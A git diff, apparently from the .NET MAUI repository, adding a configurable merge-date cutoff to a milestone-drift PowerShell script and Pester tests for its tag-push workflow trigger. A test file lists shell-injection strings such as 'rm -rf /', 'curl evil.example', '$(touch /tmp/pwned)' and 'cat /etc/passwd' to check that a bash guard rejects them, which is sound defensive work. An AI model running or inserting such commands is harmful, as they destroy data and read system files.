diff --git a/.github/scripts/Fix-MilestoneDrift.Tests.ps1 b/.github/scripts/Fix-MilestoneDrift.Tests.ps1 index 8c5e8298d435..9a3006876769 100644 --- a/.github/scripts/Fix-MilestoneDrift.Tests.ps1 +++ b/.github/scripts/Fix-MilestoneDrift.Tests.ps1 @@ -82,6 +82,165 @@ BeforeAll { . "$PSScriptRoot/Fix-MilestoneDrift.ps1" } +Describe 'Resolve-MergedAfterCutoff' { + It 'defaults to 2026-01-01 UTC when value is ""' -ForEach @( + @{ Value = $null } + @{ Value = '' } + @{ Value = ' ' } + ) { + $result = Resolve-MergedAfterCutoff $Value + $result | Should -Be ([datetime]::new(2026, 1, 1, 0, 0, 0, [System.DateTimeKind]::Utc)) + $result.Kind | Should -Be ([System.DateTimeKind]::Utc) + } + + It 'parses a date-only value "" as UTC midnight' -ForEach @( + @{ Value = '2025-01-01'; Year = 2025; Month = 1; Day = 1 } + @{ Value = '2024-06-15'; Year = 2024; Month = 6; Day = 15 } + @{ Value = '2020-12-31'; Year = 2020; Month = 12; Day = 31 } + ) { + $result = Resolve-MergedAfterCutoff $Value + $result.Year | Should -Be $Year + $result.Month | Should -Be $Month + $result.Day | Should -Be $Day + $result.Hour | Should -Be 0 + $result.Kind | Should -Be ([System.DateTimeKind]::Utc) + } + + It 'parses an ISO-8601 value with explicit UTC offset' { + $result = Resolve-MergedAfterCutoff '2025-06-01T12:30:00Z' + $result.Kind | Should -Be ([System.DateTimeKind]::Utc) + $result | Should -Be ([datetime]::new(2025, 6, 1, 12, 30, 0, [System.DateTimeKind]::Utc)) + } + + It 'normalizes a non-UTC offset to UTC' { + # 2025-06-01T00:00:00+05:00 == 2025-05-31T19:00:00Z + $result = Resolve-MergedAfterCutoff '2025-06-01T00:00:00+05:00' + $result.Kind | Should -Be ([System.DateTimeKind]::Utc) + $result | Should -Be ([datetime]::new(2025, 5, 31, 19, 0, 0, [System.DateTimeKind]::Utc)) + } + + It 'throws a clear error for unparseable value ""' -ForEach @( + @{ Value = 'garbage' } + @{ Value = 'not-a-date' } + @{ Value = '2025-13-99' } + @{ Value = '13/13/2025' } + ) { + { Resolve-MergedAfterCutoff $Value } | Should -Throw "*Invalid -MergedAfter value*" + } +} + +Describe 'Get-PrInfo — merged-after cutoff enforcement' { + BeforeAll { + # Build a GitHub-pulls-API-shaped object (ConvertFrom-Json style) for the mock. + function New-FakePr { + param([string]$MergedAt, [int]$Number = 42) + [pscustomobject]@{ + title = "PR $Number" + html_url = "https://github.com/dotnet/maui/pull/$Number" + body = '' + merged_at = $MergedAt + milestone = $null + base = [pscustomobject]@{ ref = 'net11.0' } + merge_commit_sha = 'deadbeef' + } + } + } + + AfterAll { + # Restore the default cutoff so later Describes are unaffected. + $script:MergedAfterCutoff = Resolve-MergedAfterCutoff '' + } + + It 'skips a PR merged before the cutoff (returns a pre-cutoff sentinel, not $null)' { + $script:MergedAfterCutoff = Resolve-MergedAfterCutoff '' # 2026-01-01 + Mock Invoke-GhApi { New-FakePr -MergedAt '2025-05-01T00:00:00Z' -Number 100 } + $result = Get-PrInfo 100 + $result | Should -BeOfType [hashtable] + $result.SkippedPreCutoff | Should -BeTrue + $result.Number | Should -Be 100 + } + + It 'includes a PR merged on/after the cutoff (returns the object, no skip sentinel)' { + $script:MergedAfterCutoff = Resolve-MergedAfterCutoff '' # 2026-01-01 + Mock Invoke-GhApi { New-FakePr -MergedAt '2026-03-01T00:00:00Z' -Number 101 } + $pr = Get-PrInfo 101 + $pr | Should -Not -BeNullOrEmpty + $pr.Number | Should -Be 101 + $pr.ContainsKey('SkippedPreCutoff') | Should -BeFalse + } + + It 'includes a PR merged exactly at the cutoff boundary (strict less-than)' { + $script:MergedAfterCutoff = Resolve-MergedAfterCutoff '' # 2026-01-01T00:00:00Z + Mock Invoke-GhApi { New-FakePr -MergedAt '2026-01-01T00:00:00Z' -Number 102 } + Get-PrInfo 102 | Should -Not -BeNullOrEmpty + } + + It 'a lowered cutoff lets an older PR through (the configurable use case)' { + # Same 2025 PR that the default cutoff skips is now processed. + $script:MergedAfterCutoff = Resolve-MergedAfterCutoff '2024-01-01' + Mock Invoke-GhApi { New-FakePr -MergedAt '2025-05-01T00:00:00Z' -Number 103 } + $pr = Get-PrInfo 103 + $pr | Should -Not -BeNullOrEmpty + $pr.Number | Should -Be 103 + } + + It 'a raised cutoff skips a PR that the default would include' { + $script:MergedAfterCutoff = Resolve-MergedAfterCutoff '2026-06-01' + Mock Invoke-GhApi { New-FakePr -MergedAt '2026-03-01T00:00:00Z' -Number 104 } + $result = Get-PrInfo 104 + $result.SkippedPreCutoff | Should -BeTrue + $result.Number | Should -Be 104 + } + + It 'never skips an unmerged PR (no merged_at) regardless of cutoff' { + $script:MergedAfterCutoff = Resolve-MergedAfterCutoff '' + Mock Invoke-GhApi { New-FakePr -MergedAt $null -Number 105 } + Get-PrInfo 105 | Should -Not -BeNullOrEmpty + } +} + +Describe 'Invoke-AnalyzeRelease — pre-cutoff skips are accounted separately from errors' { + BeforeEach { + # Minimal mocks so Invoke-AnalyzeRelease reaches the PR loop without touching git/gh. + Mock ConvertTo-Milestone { '.NET 10 SR8' } + Mock Get-AllTags { @('10.0.70', '10.0.80') } + Mock Initialize-MilestoneValidationContext { } + Mock Get-MainBranchForVersion { 'net10.0' } + Mock Get-AllMilestones { @{ '.NET 10 SR8' = 999 } } + Mock Find-MatchingMilestone { @{ Number = 999; Title = '.NET 10 SR8' } } + Mock Get-PrNumbersBetweenTags { @(100, 101) } + # Defensive: only reached for real (non-skipped, non-null) PRs — never hit in these tests. + Mock Test-PrBelongsToVersion { $true } + Mock Test-AndRecordCorrection { } + Mock Get-LinkedIssues { @() } + } + + It 'counts an all-pre-cutoff cohort as skipped, not as errors (no spurious failure)' { + # Regression: a cohort whose PRs all predate the cutoff must NOT be reported as + # "0 PRs checked, N errors" (which makes the top-level script throw a red run). + Mock Get-PrInfo { + param([int]$PrNum) + return @{ SkippedPreCutoff = $true; Number = $PrNum } + } + $report = Invoke-AnalyzeRelease '10.0.80' '10.0.70' '.' + $report.PrsSkippedPreCutoff | Should -Be 2 + $report.PrsChecked | Should -Be 0 + $report.Errors.Count | Should -Be 0 # the top-level throw guard keys off Errors.Count + } + + It 'still records a genuine fetch failure as an error, distinct from a pre-cutoff skip' { + Mock Get-PrInfo { + param([int]$PrNum) + if ($PrNum -eq 101) { return $null } # real fetch failure + return @{ SkippedPreCutoff = $true; Number = $PrNum } # pre-cutoff skip + } + $report = Invoke-AnalyzeRelease '10.0.80' '10.0.70' '.' + $report.PrsSkippedPreCutoff | Should -Be 1 + $report.Errors.Count | Should -Be 1 + $report.Errors[0] | Should -BeLike '*Failed to fetch PR #101*' + } +} + Describe 'ConvertTo-Milestone' { It 'maps GA tag "" to ""' -ForEach @( @{ Tag = '10.0.0'; Expected = '.NET 10.0 GA' } diff --git a/.github/scripts/Fix-MilestoneDrift.ps1 b/.github/scripts/Fix-MilestoneDrift.ps1 index f69b7fa36115..b36770c677f5 100644 --- a/.github/scripts/Fix-MilestoneDrift.ps1 +++ b/.github/scripts/Fix-MilestoneDrift.ps1 @@ -13,7 +13,9 @@ 1. Single PR: -PrNumber 33818 [-Tag 10.0.50] 2. Single tag: -Tag 10.0.50 [-PreviousTag 10.0.41] - Safety: PRs merged before 2026-01-01 are always skipped. + Safety: PRs merged before a cutoff date are always skipped. The cutoff + defaults to 2026-01-01 (when this automation went live) and is configurable + via -MergedAfter, so an older release can be processed deliberately. .PARAMETER PrNumber Analyze and fix a single PR (and its linked issues). @@ -30,6 +32,15 @@ .PARAMETER Output Output JSON file path. +.PARAMETER MergedAfter + Cutoff date: PRs merged strictly before this date are skipped (never + milestoned or closed). Defaults to 2026-01-01 (when this automation went + live) so the bulk -Apply / -CloseFixedIssues path can't reach back and + rewrite milestones for PRs that predate it. Override to deliberately process + an older release — e.g. -MergedAfter '2025-01-01' to close linked issues for + a historical SR. Accepts any parseable date (e.g. '2025-01-01' or + '2025-06-01T00:00:00Z'); no-timezone values are treated as UTC. + .PARAMETER Apply Actually apply milestone fixes. Without this flag, only a dry-run report is produced. @@ -46,6 +57,8 @@ ./Fix-MilestoneDrift.ps1 -PrNumber 33818 -RepoPath ~/Projects/maui -Verbose ./Fix-MilestoneDrift.ps1 -PrNumber 33818 -Apply ./Fix-MilestoneDrift.ps1 -Tag 10.0.50 -RepoPath ~/Projects/maui + # Process a historical SR (closing linked issues) by lowering the cutoff: + ./Fix-MilestoneDrift.ps1 -Tag 9.0.90 -MergedAfter '2024-01-01' -Apply -CloseFixedIssues #> [CmdletBinding()] @@ -55,13 +68,33 @@ param( [string]$PreviousTag, [string]$RepoPath = ".", [string]$Output, + [string]$MergedAfter, [switch]$Apply, [switch]$CreateIssue, [switch]$CloseFixedIssues ) -# Safety: never process PRs merged before 2026 -$script:MergedAfterCutoff = [datetime]::new(2026, 1, 1, 0, 0, 0, [System.DateTimeKind]::Utc) +# Resolve the "merged after" safety cutoff. PRs merged strictly before this +# date are always skipped, so the bulk -Apply / -CloseFixedIssues path can never +# reach back and rewrite milestones for PRs that predate this automation. +# Defaults to 2026-01-01 (go-live); override via -MergedAfter to deliberately +# process an older release. Pure + side-effect-free so it can be unit tested. +function Resolve-MergedAfterCutoff { + param([string]$Value) + if ([string]::IsNullOrWhiteSpace($Value)) { + return [datetime]::new(2026, 1, 1, 0, 0, 0, [System.DateTimeKind]::Utc) + } + try { + return [datetime]::Parse( + $Value, + [System.Globalization.CultureInfo]::InvariantCulture, + [System.Globalization.DateTimeStyles]::AssumeUniversal -bor [System.Globalization.DateTimeStyles]::AdjustToUniversal) + } catch { + throw "Invalid -MergedAfter value '$Value'. Expected a date such as '2025-01-01' or '2025-06-01T00:00:00Z'." + } +} + +$script:MergedAfterCutoff = Resolve-MergedAfterCutoff $MergedAfter # Only enable StrictMode during normal execution — not when dot-sourced for testing, # since StrictMode leaks into the caller scope and can break Pester or other scripts. @@ -427,7 +460,10 @@ function Get-PrInfo([int]$PrNum) { } if ($mergedAt -lt $script:MergedAfterCutoff) { Write-Warning "PR #$PrNum merged $($pr.merged_at) — before cutoff ($($script:MergedAfterCutoff.ToString('yyyy-MM-dd'))). Skipping." - return $null + # Return a distinct sentinel (not $null) so callers can tell an + # intentional pre-cutoff skip apart from a real fetch failure and + # avoid mis-reporting the skip as an error / failing the whole run. + return @{ SkippedPreCutoff = $true; Number = $PrNum } } } return @{ @@ -987,6 +1023,9 @@ function Invoke-AnalyzeSinglePr([int]$PrNum, [string]$ReleaseTag, [string]$Repo) # Fetch PR info first — we need merge_commit_sha for version detection $pr = Get-PrInfo $PrNum + if ($pr -is [hashtable] -and $pr.ContainsKey('SkippedPreCutoff')) { + throw "PR #$PrNum was merged before the -MergedAfter cutoff ($($script:MergedAfterCutoff.ToString('yyyy-MM-dd'))). Lower -MergedAfter to process it." + } if (-not $pr) { throw "Could not fetch PR #$PrNum" } if ($ReleaseTag) { @@ -1225,6 +1264,7 @@ function Invoke-AnalyzeRelease([string]$ReleaseTag, [string]$PrevTag, [string]$R TotalPrs = $prNumbers.Count PrsChecked = 0 PrsSkippedWrongBranch = 0 + PrsSkippedPreCutoff = 0 IssuesChecked = 0 AlreadyCorrect = 0 Corrections = [System.Collections.ArrayList]::new() @@ -1236,6 +1276,13 @@ function Invoke-AnalyzeRelease([string]$ReleaseTag, [string]$PrevTag, [string]$R Write-Verbose " [$($i+1)/$($prNumbers.Count)] PR #$prNum..." $pr = Get-PrInfo $prNum + if ($pr -is [hashtable] -and $pr.ContainsKey('SkippedPreCutoff')) { + # Intentional pre-cutoff skip (see Get-PrInfo) — not a fetch failure. + # Count it separately so an all-pre-cutoff cohort exits cleanly instead + # of being reported as "0 PRs checked, N errors". + $report.PrsSkippedPreCutoff++ + continue + } if (-not $pr) { [void]$report.Errors.Add("Failed to fetch PR #$prNum") continue @@ -1282,6 +1329,9 @@ function Write-Report([hashtable]$Report) { if ($Report.ContainsKey('PrsSkippedWrongBranch') -and $Report.PrsSkippedWrongBranch -gt 0) { Write-Host " PRs skipped (wrong branch): $($Report.PrsSkippedWrongBranch)" } + if ($Report.ContainsKey('PrsSkippedPreCutoff') -and $Report.PrsSkippedPreCutoff -gt 0) { + Write-Host " PRs skipped (merged before cutoff): $($Report.PrsSkippedPreCutoff)" + } Write-Host " Issues checked: $($Report.IssuesChecked)" Write-Host " Already correct: $($Report.AlreadyCorrect)" $keptCount = if ($Report.ContainsKey('Kept')) { $Report.Kept.Count } else { 0 } diff --git a/.github/scripts/MilestoneTrigger.Tests.ps1 b/.github/scripts/MilestoneTrigger.Tests.ps1 new file mode 100644 index 000000000000..cb6835ab9b93 --- /dev/null +++ b/.github/scripts/MilestoneTrigger.Tests.ps1 @@ -0,0 +1,431 @@ +#!/usr/bin/env pwsh +#Requires -Modules Pester +<# +.SYNOPSIS + Pester tests for the *trigger* configuration of the Milestone Management + workflow (.github/workflows/fix-milestone-drift.yml). + +.DESCRIPTION + The milestone-drift script (Fix-MilestoneDrift.ps1) and its shared module are + covered by Fix-MilestoneDrift.Tests.ps1. THIS file covers the other half of + the feature: the `on.push.tags` filter and the in-workflow bash guard that + together decide *which* pushed tags actually run the bulk -Apply path. + + Three layers are tested: + + 1. Glob layer — the `on.push.tags` patterns. GitHub Actions filter globs + cannot be evaluated locally, so we translate them to .NET + regex per the documented "Filter pattern cheat sheet" and + assert a large fixture of real tags resolves to the + expected trigger / no-trigger. The translator itself is + unit-tested so the simulation's fidelity is pinned. + + 2. Guard layer — the `[[ "$PUSH_TAG" =~ ^...$ ]]` regex in the run: script. + This is the anti-injection backstop. We extract the regex + verbatim from the YAML and run it through a REAL `bash` + (no translation) against valid tags and a battery of + injection strings. + + 3. Structure — push trigger wiring + the security invariant that the run: + body never string-interpolates `${{ github.* }}` (the tag + must flow through an env var, never into the shell). + + FIDELITY CAVEAT (glob layer): GitHub does not publish its glob engine, so the + glob->regex translation in Convert-GhTagGlobToRegex is a faithful + reimplementation of the documented rules, not the real engine. The guard + layer (run through real bash) and the structure layer have no such caveat. + +.EXAMPLE + Invoke-Pester ./MilestoneTrigger.Tests.ps1 -Output Detailed + +.NOTES + These script-level Pester suites are run manually / locally (there is no CI + runner wired for .github/scripts/*.Tests.ps1). Run alongside + Fix-MilestoneDrift.Tests.ps1 before merging changes to the workflow trigger. +#> + +BeforeAll { + $script:WorkflowPath = Join-Path $PSScriptRoot '..' 'workflows' 'fix-milestone-drift.yml' | Resolve-Path | Select-Object -ExpandProperty Path + $script:WorkflowText = Get-Content -Raw -LiteralPath $script:WorkflowPath + $script:WorkflowLines = Get-Content -LiteralPath $script:WorkflowPath + + # --- GitHub Actions tag-glob -> anchored .NET regex ----------------------- + # Rules per GitHub docs, "Filter pattern cheat sheet": + # * zero+ chars, but NOT '/' -> [^/]* + # ** zero+ of any char (incl '/') -> .* + # ? zero or one of the preceding chr -> ? (regex quantifier) + # + one or more of the preceding chr -> + (regex quantifier) + # [] one char in the set / range -> [...] (verbatim; same as regex) + # . literal dot -> \. + # matching is anchored to the WHOLE ref -> ^...$ + function Convert-GhTagGlobToRegex { + param([Parameter(Mandatory)][string]$Glob) + $sb = [System.Text.StringBuilder]::new() + [void]$sb.Append('^') + $i = 0; $n = $Glob.Length + while ($i -lt $n) { + $c = $Glob[$i] + switch -CaseSensitive ($c) { + '*' { + if ($i + 1 -lt $n -and $Glob[$i + 1] -eq '*') { [void]$sb.Append('.*'); $i += 2 } + else { [void]$sb.Append('[^/]*'); $i++ } + } + '[' { + # Copy the bracket expression verbatim (glob ranges == regex ranges). + # Negated brackets are NOT supported: glob negation spells it '[!...]' + # while .NET regex spells it '[^...]', so copying verbatim would silently + # mistranslate (a '[!0]' glob would become a regex that matches '!' or '0'). + # None of the workflow globs use negation, so fail fast rather than emit a + # wrong regex if one is ever introduced. + $j = $i + 1 + if ($j -lt $n -and ($Glob[$j] -eq '!' -or $Glob[$j] -eq '^')) { + throw "Convert-GhTagGlobToRegex: negated bracket expression in glob '$Glob' is not supported; add an explicit translation before using glob negation." + } + # NOTE: a literal ']' as the FIRST class member (POSIX '[]...]') is NOT + # handled — the scan below treats that ']' as the closing delimiter. No + # workflow glob needs a literal ']', so this is a documented limitation + # rather than a bug; add explicit handling if a future glob requires it. + while ($j -lt $n -and $Glob[$j] -ne ']') { $j++ } + if ($j -ge $n) { + throw "Convert-GhTagGlobToRegex: unclosed bracket expression in glob '$Glob'." + } + [void]$sb.Append($Glob.Substring($i, $j - $i + 1)) + $i = $j + 1 + } + '+' { [void]$sb.Append('+'); $i++ } # quantifier on preceding atom + '?' { [void]$sb.Append('?'); $i++ } # quantifier on preceding atom + '.' { [void]$sb.Append('\.'); $i++ } + default { + if ('\^$.|?*+()[]{}'.Contains($c)) { [void]$sb.Append('\').Append($c) } + else { [void]$sb.Append($c) } + $i++ + } + } + } + [void]$sb.Append('$') + $sb.ToString() + } + + # --- Extract on.push.tags globs from the YAML (no powershell-yaml dep) ----- + function Get-PushTagGlobs { + param([string[]]$Lines) + $globs = [System.Collections.Generic.List[string]]::new() + $inPush = $false; $inTags = $false; $tagsIndent = -1 + foreach ($line in $Lines) { + if ($line -match '^\s*push:\s*$') { $inPush = $true; $inTags = $false; continue } + if ($inPush -and $line -match '^(\s*)tags:\s*$') { $inTags = $true; $tagsIndent = $Matches[1].Length; continue } + if ($inTags) { + if ($line -match "^\s*-\s*'([^']+)'") { $globs.Add($Matches[1]); continue } + if ($line -match "^\s*-\s*""([^""]+)""") { $globs.Add($Matches[1]); continue } + # A non-list, non-blank line at/under the tags indent ends the block. + if ($line.Trim() -ne '' -and $line -notmatch '^\s*#') { + $indent = ($line -replace '\S.*$', '').Length + if ($indent -le $tagsIndent) { $inTags = $false; $inPush = $false } + } + } + } + $globs.ToArray() + } + + # --- Extract the bash guard regex verbatim from the run: script ----------- + function Get-BashGuardRegex { + param([string[]]$Lines) + foreach ($line in $Lines) { + if ($line -match '"\$PUSH_TAG"\s*=~\s*(\S.*?)\s+\]\]') { return $Matches[1] } + } + $null + } + + # --- Run a tag through the REAL bash guard regex -------------------------- + function Test-BashGuardMatches { + param([string]$Regex, [string]$Tag) + $bashScript = 'rx="$2"; if [[ "$1" =~ $rx ]]; then echo MATCH; else echo NOMATCH; fi' + $out = & bash -c $bashScript 'guard' $Tag $Regex 2>$null + (($out | Out-String).Trim()) -eq 'MATCH' + } + + $script:PushTagGlobs = Get-PushTagGlobs -Lines $script:WorkflowLines + $script:TagRegexes = $script:PushTagGlobs | ForEach-Object { Convert-GhTagGlobToRegex $_ } + $script:GuardRegex = Get-BashGuardRegex -Lines $script:WorkflowLines + + # A tag triggers the workflow if ANY of the on.push.tags globs matches. + function Test-GlobTriggers { + param([string]$Tag) + foreach ($rx in $script:TagRegexes) { + if ([regex]::IsMatch($Tag, $rx)) { return $true } + } + $false + } +} + +Describe 'GH glob -> regex translator (fidelity of the simulation)' { + It "translates '' to ''" -ForEach @( + @{ Glob = '1[01].0.[0-9]+'; Expected = '^1[01]\.0\.[0-9]+$' } + @{ Glob = '1[01].0.[0-9]+-preview.*'; Expected = '^1[01]\.0\.[0-9]+-preview\.[^/]*$' } + @{ Glob = '1[01].0.[0-9]+-rc.*'; Expected = '^1[01]\.0\.[0-9]+-rc\.[^/]*$' } + @{ Glob = '10.0.[0-9]+'; Expected = '^10\.0\.[0-9]+$' } + @{ Glob = '1[01].0.[0-9]?'; Expected = '^1[01]\.0\.[0-9]?$' } # '?' = zero-or-one quantifier + @{ Glob = 'v*'; Expected = '^v[^/]*$' } + @{ Glob = '**'; Expected = '^.*$' } + @{ Glob = 'releases/**'; Expected = '^releases/.*$' } + ) { + Convert-GhTagGlobToRegex $Glob | Should -BeExactly $Expected + } + + It 'throws on a negated bracket expression () rather than mistranslating it' -ForEach @( + @{ Glob = '1[!0].0.[0-9]+' } # glob-style negation + @{ Glob = '1[^0].0.[0-9]+' } # regex-style negation (also rejected) + ) { + { Convert-GhTagGlobToRegex $Glob } | Should -Throw '*negated bracket*' + } + + It 'throws on an unclosed bracket expression () rather than emitting a truncated regex' -ForEach @( + @{ Glob = '1[01' } + @{ Glob = '[0-9' } + ) { + { Convert-GhTagGlobToRegex $Glob } | Should -Throw '*unclosed bracket*' + } +} + +Describe 'on.push.tags globs are the expected major-pinned set' { + It 'parses exactly three tag patterns from the workflow' { + $script:PushTagGlobs.Count | Should -Be 3 + } + + It 'includes the stable major-pinned pattern' { + $script:PushTagGlobs | Should -Contain '1[01].0.[0-9]+' + } + + It 'includes the preview major-pinned pattern' { + $script:PushTagGlobs | Should -Contain '1[01].0.[0-9]+-preview.*' + } + + It 'includes the rc major-pinned pattern' { + $script:PushTagGlobs | Should -Contain '1[01].0.[0-9]+-rc.*' + } + + It 'every parsed glob compiles to a usable regex' { + foreach ($rx in $script:TagRegexes) { + { [regex]::new($rx) } | Should -Not -Throw + } + } +} + +Describe 'Glob layer — tags that SHOULD trigger the workflow' { + It 'triggers for stable tag ' -ForEach @( + @{ Tag = '10.0.0' } + @{ Tag = '10.0.1' } + @{ Tag = '10.0.41' } + @{ Tag = '10.0.50' } + @{ Tag = '10.0.80' } + @{ Tag = '10.0.100' } + @{ Tag = '10.0.119' } + @{ Tag = '11.0.0' } + @{ Tag = '11.0.1' } + @{ Tag = '11.0.40' } + ) { + Test-GlobTriggers $Tag | Should -BeTrue + } + + It 'triggers for preview tag ' -ForEach @( + @{ Tag = '11.0.0-preview.1.26107' } + @{ Tag = '11.0.0-preview.3.26203.7' } + @{ Tag = '11.0.0-preview.5.26304.4' } + @{ Tag = '10.0.0-preview.7.25406.3' } + @{ Tag = '10.0.100-preview.2.25123.4' } + ) { + Test-GlobTriggers $Tag | Should -BeTrue + } + + It 'triggers for rc tag ' -ForEach @( + @{ Tag = '10.0.0-rc.1.25424.2' } + @{ Tag = '10.0.0-rc.2.25470.1' } + @{ Tag = '11.0.0-rc.1.26400.3' } + @{ Tag = '11.0.0-rc.1' } + ) { + Test-GlobTriggers $Tag | Should -BeTrue + } +} + +Describe 'Glob layer — tags that should NOT trigger the workflow' { + It 'does not trigger for out-of-range major ' -ForEach @( + @{ Tag = '9.0.120' } + @{ Tag = '9.0.100' } + @{ Tag = '9.0.100-preview.1.9973' } + @{ Tag = '8.0.80' } + @{ Tag = '7.0.0' } + @{ Tag = '6.0.0' } + @{ Tag = '12.0.0' } # future major: must force a conscious glob bump + @{ Tag = '12.0.0-preview.1.26500.1' } + @{ Tag = '13.0.0' } + @{ Tag = '1.2.3' } + @{ Tag = '1.0.0' } + @{ Tag = '100.0.0' } # '1' '0' then expects '.', sees '0' -> no match + ) { + Test-GlobTriggers $Tag | Should -BeFalse + } + + It 'does not trigger for non-zero minor (script only handles MAJOR.0.PATCH)' -ForEach @( + @{ Tag = '10.1.0' } + @{ Tag = '10.1.5' } + @{ Tag = '10.2.40' } + @{ Tag = '11.1.0' } + @{ Tag = '11.2.3' } + @{ Tag = '10.10.0' } + @{ Tag = '11.1.0-preview.1.26107' } + @{ Tag = '10.3.0-rc.1.25424.2' } + ) { + Test-GlobTriggers $Tag | Should -BeFalse + } + + It 'does not trigger for malformed / unsupported shape ' -ForEach @( + @{ Tag = 'v10.0.80' } + @{ Tag = '10.0.80-beta.1' } + @{ Tag = '10.0.80-alpha' } + @{ Tag = '10.0' } + @{ Tag = '10.0.0.0' } + @{ Tag = '10.0.80-preview' } # no '.' after preview + @{ Tag = '10.0.80-rc' } # no '.' after rc + @{ Tag = '10.0.x' } + @{ Tag = '10.0.80 ' } # trailing space + @{ Tag = ' 10.0.80' } # leading space + @{ Tag = 'release/10.0.1xx' } + @{ Tag = '10.0.80-preview.1/evil' } # '*' never crosses '/' + @{ Tag = '' } + ) { + Test-GlobTriggers $Tag | Should -BeFalse + } +} + +Describe 'Guard layer — bash regex extracted from the workflow' { + BeforeAll { + $bashAvailable = [bool](Get-Command bash -ErrorAction SilentlyContinue) + } + + It 'a guard regex was extracted from the run: script' { + $script:GuardRegex | Should -Not -BeNullOrEmpty + } + + It 'accepts valid release tag ' -Skip:(-not [bool](Get-Command bash -ErrorAction SilentlyContinue)) -ForEach @( + @{ Tag = '10.0.80' } + @{ Tag = '11.0.0' } + @{ Tag = '9.0.120' } # guard is intentionally major-agnostic + @{ Tag = '8.0.80' } + @{ Tag = '12.0.0' } + @{ Tag = '1.2.3' } + @{ Tag = '11.0.0-preview.5.26304.4' } + @{ Tag = '11.0.0-preview.1.26107' } + @{ Tag = '9.0.100-preview.1.9973' } + @{ Tag = '10.0.0-rc.1.25424.2' } + @{ Tag = '11.0.0-rc.2.26400.1' } + @{ Tag = '10.0.0-rc.1' } # minimal prerelease (just iteration number) + @{ Tag = '11.0.0-preview.3' } + ) { + Test-BashGuardMatches -Regex $script:GuardRegex -Tag $Tag | Should -BeTrue + } + + It 'rejects malformed tag ' -Skip:(-not [bool](Get-Command bash -ErrorAction SilentlyContinue)) -ForEach @( + @{ Tag = '' } + @{ Tag = '10.0' } + @{ Tag = '10.0.0.0' } + @{ Tag = '10.0.80-beta.1' } + @{ Tag = '10.0.80-preview' } # missing .N + @{ Tag = '10.0.80-preview.' } # trailing dot, no digit + @{ Tag = '10.0.80-preview.1.' } # trailing dot + @{ Tag = '10.0.80-rc.x' } # non-numeric build + @{ Tag = 'v10.0.80' } + @{ Tag = '10.0.0-PREVIEW.1' } # case-sensitive: only lowercase preview/rc + ) { + Test-BashGuardMatches -Regex $script:GuardRegex -Tag $Tag | Should -BeFalse + } + + It 'rejects shell-injection payload ' -Skip:(-not [bool](Get-Command bash -ErrorAction SilentlyContinue)) -ForEach @( + @{ Tag = '10.0.0; rm -rf /' } + @{ Tag = '10.0.0 && curl evil.example' } + @{ Tag = '10.0.0`whoami`' } + @{ Tag = '10.0.0$(whoami)' } + @{ Tag = '$(touch /tmp/pwned)' } + @{ Tag = '10.0.0|cat /etc/passwd' } + @{ Tag = '10.0.0 10.0.1' } + @{ Tag = '../../etc/passwd' } + @{ Tag = '10.0.0#comment' } + @{ Tag = '10.0.0)' } + ) { + Test-BashGuardMatches -Regex $script:GuardRegex -Tag $Tag | Should -BeFalse + } +} + +Describe 'Guard vs glob consistency' { + It 'every tag the glob triggers is also accepted by the bash guard' -Skip:(-not [bool](Get-Command bash -ErrorAction SilentlyContinue)) -ForEach @( + @{ Tag = '10.0.80' } + @{ Tag = '11.0.0' } + @{ Tag = '11.0.0-preview.5.26304.4' } + @{ Tag = '10.0.0-rc.1.25424.2' } + @{ Tag = '11.0.0-rc.1' } + ) { + # Glob is the gate; guard must never reject something the glob lets through. + Test-GlobTriggers $Tag | Should -BeTrue + Test-BashGuardMatches -Regex $script:GuardRegex -Tag $Tag | Should -BeTrue + } +} + +Describe 'Guard catches glob-admitted edge cases (defense-in-depth layering)' { + # The '-preview.*' / '-rc.*' globs are deliberately permissive: '*' matches any run of + # non-'/' chars, INCLUDING zero chars or non-numeric chars. The bash guard is stricter + # ('-preview.'/'-rc.' must be followed by a numeric build tail), so it rejects malformed + # prerelease tags the glob would let through. This asserts that second layer actually fires + # (i.e. the guard is doing real work, not merely re-checking what the glob already enforced). + It 'glob admits but guard rejects ' -Skip:(-not [bool](Get-Command bash -ErrorAction SilentlyContinue)) -ForEach @( + @{ Tag = '10.0.0-preview.' } # trailing dot, no build number + @{ Tag = '10.0.0-preview.CAPS' } # non-numeric build tail + @{ Tag = '10.0.0-rc.x' } # non-numeric build tail + ) { + Test-GlobTriggers $Tag | Should -BeTrue + Test-BashGuardMatches -Regex $script:GuardRegex -Tag $Tag | Should -BeFalse + } +} + +Describe 'Workflow trigger structure & injection-safety invariants' { + It 'declares a push trigger' { + $script:WorkflowText | Should -Match '(?m)^\s*push:\s*$' + } + + It 'job condition includes the push event' { + $script:WorkflowText | Should -Match "github\.event_name == 'push'" + } + + It 'passes the pushed ref via the PUSH_TAG env var' { + $script:WorkflowText | Should -Match 'PUSH_TAG:\s*\$\{\{\s*github\.ref_name\s*\}\}' + } + + It 'the milestone step never string-interpolates ${{ github.* }} (injection-safe)' { + # Anchor to the NAMED step rather than a positional "last run:" heuristic, so adding a + # later step with its own run: block can never silently move this assertion off the + # milestone step. Slice from the step's name line to the next sibling step (a '-' at the + # same 6-space indent) or EOF, then assert the run: body uses no ${{ ... }} interpolation. + $lines = $script:WorkflowLines + + $stepStart = -1 + for ($k = 0; $k -lt $lines.Count; $k++) { + if ($lines[$k] -match '^\s*-\s*name:\s*Run milestone management\s*$') { $stepStart = $k; break } + } + $stepStart | Should -BeGreaterOrEqual 0 + + $stepEnd = $lines.Count - 1 + for ($k = $stepStart + 1; $k -lt $lines.Count; $k++) { + if ($lines[$k] -match '^\s{6}-\s') { $stepEnd = $k - 1; break } + } + + $runStart = -1 + for ($k = $stepStart; $k -le $stepEnd; $k++) { + if ($lines[$k] -match '^\s*run:\s*\|') { $runStart = $k + 1; break } + } + $runStart | Should -BeGreaterThan 0 + $runBody = ($lines[$runStart..$stepEnd]) -join "`n" + $runBody | Should -Not -Match '\$\{\{' + } + + It 'the push branch invokes the script with -Tag from the env var, not interpolation' { + $script:WorkflowText | Should -Match "ARGS\+=\('-Tag' \""\`$PUSH_TAG\""" + } +} diff --git a/.github/workflows/fix-milestone-drift.yml b/.github/workflows/fix-milestone-drift.yml index 951c0be28e26..3f87d0d1b24c 100644 --- a/.github/workflows/fix-milestone-drift.yml +++ b/.github/workflows/fix-milestone-drift.yml @@ -5,6 +5,34 @@ on: types: [closed] branches: [main, net*.0, inflight/*, release/*] + # When a release tag is pushed, audit the entire tag cohort and fix any + # milestone drift, closing issues fixed by PRs that shipped in this tag. + # Stable (10.0.80), preview (11.0.0-preview.5.26304.4) and rc + # 